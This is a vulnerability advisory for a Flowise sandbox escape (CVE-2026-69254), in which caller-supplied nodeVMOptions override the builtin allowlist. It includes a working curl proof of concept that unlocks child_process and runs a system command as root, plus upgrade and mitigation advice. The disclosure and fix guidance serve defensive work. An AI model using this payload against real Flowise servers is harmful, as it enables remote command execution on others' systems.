criticalCVE-2026-69254Aug 4, 2026

CVE-2026-69254: Flowise RCE via NodeVM Sandbox Escape in executeJavaScriptCode()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated Flowise user can break out of the JavaScript sandbox and run arbitrary system commands as root by overriding the VM security options that are supposed to block dangerous built-in…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69254: Flowise RCE via NodeVM Sandbox Escape in executeJavaScriptCode()

The problem

Flowise's executeJavaScriptCode() function (packages/components/src/utils.ts) builds its NodeVM sandbox options with a JavaScript spread: { ...defaultNodeVMOptions, ...nodeVMOptions }. The caller-supplied nodeVMOptions comes straight from req.body via the /api/v1/node-custom-function endpoint, with no sanitization.

Because the spread gives caller keys last, an attacker can stomp the require.builtin allowlist, replacing the restricted list with ["*"] to unlock every Node.js built-in, including child_process. The advisory-provided taint chain shows the payload reaching the sandbox entry point through five layers (route, controller, service, sandbox init, escape) with no filtering at any stage.

Proof of concept

A working proof-of-concept for CVE-2026-69254 in flowise, with the exact payload below.

bash
# Step 1: spin up a vulnerable instance
docker run -d --name flowise-poc -p 3000:3000 \
  -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
  flowiseai/flowise:3.1.1

# Step 2: register an account and create an API key via the UI, then:

# Step 3: send the exploit
curl -X POST http://localhost:3000/api/v1/node-custom-function \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <YOUR_API_KEY>' \
  -d '{
    "javascriptFunction": "const utils = require(\u0027/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js\u0027); const code = \u0027const cp = require(\\\u0022child_process\\\u0022); return cp.execSync(\\\u0022id\\\u0022).toString()\u0027; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\u0022*\u0022] } } })"
  }'
# response: "uid=0(root) gid=0(root) groups=0(root)...\n"

The root cause is CWE-94: the spread operator on line 1755 of utils.ts unconditionally lets caller-controlled options overwrite security-critical defaults. The inner sandbox call to executeJavaScriptCode() is reached by first requiring the flowise-components utils module by its absolute on-disk path inside the first VM, which sidesteps the module allowlist entirely.

That gives the attacker a direct reference to the vulnerable function, which they call again with nodeVMOptions: { require: { builtin: ["*"] } }, collapsing the allowlist. The patch in commit 3086cb7 (PR #6306, released as 3.1.3) removes the nodeVMOptions parameter from the public signature of executeJavaScriptCode() so callers can no longer supply VM configuration, and the defaults become immutable.

The fix

Upgrade to flowise 3.1.3 or later. The fix (commit 3086cb7, PR #6306) removes caller control over nodeVMOptions entirely so the sandbox security settings cannot be overridden at runtime. If an immediate upgrade is not possible, restrict access to the /api/v1/node-custom-function endpoint at the network or reverse-proxy layer so only trusted internal clients can reach it.

Reporter not attributed.

References: [1][2][3][4][5]

Related research